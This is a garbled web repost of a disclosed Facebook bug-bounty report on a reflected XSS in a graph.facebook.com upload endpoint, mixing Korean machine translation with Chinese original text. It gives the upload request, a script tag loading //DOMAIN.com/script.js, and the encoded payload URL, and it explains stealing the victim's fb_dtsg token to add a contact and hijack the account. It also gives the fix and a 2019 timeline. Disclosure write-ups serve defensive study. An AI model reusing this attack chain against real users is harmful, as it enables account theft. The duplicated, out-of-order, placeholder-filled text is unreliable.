취약 상황
이 취약점은 IE 및 Edge 브라우저에서만 유효합니다. 취약점의 원인은 HTML 코드 응답을 완전히 처리할 때 graph.facebook.com
의 특정 API 엔드포인트에 있습니다. 안전한 탈출 조치가 구현되지 않았습니다. 응답 메시지는 JSON 형식이고 HTML 코드는 필드 중 하나의 값으로 포함되며 응답 메시지에는 Content-Type 또는 X-Content-Type-Options 헤더가 제공되지 않습니다. IE/Edge를 사용하여 생성 코드가 실행됩니다. graph.facebook.com
中的某些API端点,在处理HTML代码响应时未实施完善安全的转义措施。响应消息存在于JSON格式中,HTML代码被当做其中一个字段的值也包含在内,而且响应消息不附带Content-Type 或 X-Content-Type-Options头,这样我就能有机会在IE/Edge中构造代码执行了。
(这两类浏览器会扫描整个页面确定MIME文件类型,而其它浏览器只检查前几个字符)。
漏洞复现
1、首先,我们发送以下上传方式的POST请求:
POST /app/uploadsHost: graph.facebook.com access_token=ACCESS_TOKEN&file_length=100&file_type=PAYLOAD
其中的ACCESS_TOKEN
是由Facebook for Android的第一方应用生成的有效用户访问令牌,PAYLOAD则是我们想插入的HTML代码,用于后续引诱受害者在浏览器中执行。当提交请求后,远程服务端会返回一个类似如下的值,其中包含一个后续会用到的会话ID(具体请参考Facebook官方说明):
{"id": "upload:MTphdHRhY2htZW50Ojlk2mJiZxUwLWV6MDUtNDIwMy05yTA3LWQ4ZDPmZGFkNTM0NT8=?sig=ARZqkGCA_uQMxC8nHKI"}
经测试发现,其响应消息中没有内容安全策略(CSP)限制,所以,我想到了能不能用一个包含外部链接的js文件来插入HTML代码,例如:
<html><body><script src=//DOMAIN.com/script.js ></script></body></html>
2、这里的上传请求被Facebook后端做了Base64编码处理,返回显示如下,其中包含了我们特意植入的Payload:
upload:MTphdHRhY2htZW50OjZiZnNjNmYxLTljY2MtNDQxNi05YzM1LTFlc2YyMmI5OGlmYz9maWxlX2xlbmd0aD0wJmZpbGVfdHlwZT08aHRtbD48 Y**keT48c2NyaXB0IHNyYz0vL0RPTUFJTi5jb20vc2NyaXB0LmpzID48L3NjcmlwdD48L2JvZHk+PC9odG1sPg==?sig=ARaCDqLfwoeI8V3s
所以,用该编码串之后就会有如下请求,用它可以向Facebook发起POST请求:
https://graph.facebook.com/upload:MTphdHRhY2htZW50OjZiZnNjNmYxLTljY2MtNDQxNi05YzM1LTFlc2YyMmI5OGlmYz9maWxlX2xlbmd0aD 0wJmZpbGVfdHlwZT08aHRtbD48Y**keT48c2NyaXB0IHNyYz0vL0RPTUFJTi5jb20vc2NyaXB0LmpzID48L3NjcmlwdD48L2JvZHk+PC9odG1sPg==?s ig=ARaCDqLfwoeI8V3s
3、由此,利用以上请求串,我向其中加入我在第1步中生成的有效access_token,构造了一个HTML网页放到了我的网站中:
该页面包含了一个提交样式,受害者访问之后的响应消息如下:
{“h”:”2::<html><body><script src=//DOMAIN.com/script.js ></script></body></html>:GVo0nVVSEBm2kCDZXKFCdFSlCSZjbugb AAAP:e:1571103112:REDACATED:REDACATED:ARCvdJWLVDpBjUAZzrg”}
重要的是,https://DOMAIN.com/script.js
中的脚本文件将帮助我窃取受害者的“fb_dtsg” CSRF token,并且可向https://www.facebook.com/api/graphql/
Vulnerability Recurrence
1 먼저 다음 업로드 방법으로 POST 요청을 보냅니다.
1、在file_type参数中加入对HTML代码处理的安全转义措施; 2、给每个响应中加入“Content-type: application/json” 头避免进一步的攻击。 漏洞上报及处理进程 2019.10.10 漏洞初报 2019.10.10 Facebook确认 2019.10.11 Facebook修复 2019.10.24 Facebook奖励5000$
ACCESS_TOKEN
은 Facebook의 자사 애플리케이션에서 생성된 유효한 사용자 액세스입니다. Android 토큰인 PAYLOAD는 피해자가 브라우저에서 실행되도록 유도하기 위해 삽입하려는 HTML 코드입니다. 요청이 제출되면 원격 서버는 나중에 사용할 세션 ID가 포함된 다음과 유사한 값을 반환합니다(자세한 내용은 Facebook의 공식 지침을 참조하세요). rrreee🎜테스트 후 해당 값이 있는 것으로 확인되었습니다. (CSP) 제한 사항에는 콘텐츠 보안 정책이 없으므로 HTML 코드를 삽입하기 위해 외부 링크가 포함된 js 파일을 사용할 수 있는지 생각해 보았습니다(예: 🎜rrreee🎜2). 여기서 업로드 요청은 Base64로 인코딩됩니다. 여기에는 특별히 이식한 페이로드가 포함되어 있습니다. 🎜rrreee🎜 따라서 이 인코딩 문자열을 사용한 후에는 Facebook에 대한 POST 요청을 시작하는 데 사용할 수 있는 다음 요청이 있습니다. 🎜rrreee🎜3. 따라서 위의 요청 문자열을 사용하여 1단계에서 생성한 유효한 access_token을 추가하고 HTML 웹 페이지를 구성하여 내 웹사이트에 게시했습니다. 🎜🎜 이 페이지에는 피해자 인터뷰 후 응답 메시지가 포함되어 있습니다. r 으르르르🎜 https://DOMAIN.com/script.js
의 스크립트 파일은 피해자의 "fb_dtsg" CSRF 토큰을 훔쳐 https://www로 보낼 수 있도록 도와줍니다. facebook.com/api /graphql/
간접적인 피해자 계정 하이재킹을 달성하기 위해 휴대전화 번호나 이메일 주소를 추가하라는 구속력 있는 요청을 보냅니다. 🎜🎜🎜취약점 복구🎜🎜rrreee🎜권장 관련 기사 및 튜토리얼: 🎜웹사이트 보안 튜토리얼🎜🎜🎜위 내용은 반사된 XSS 취약점을 사용하여 Facebook 계정 하이재킹의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!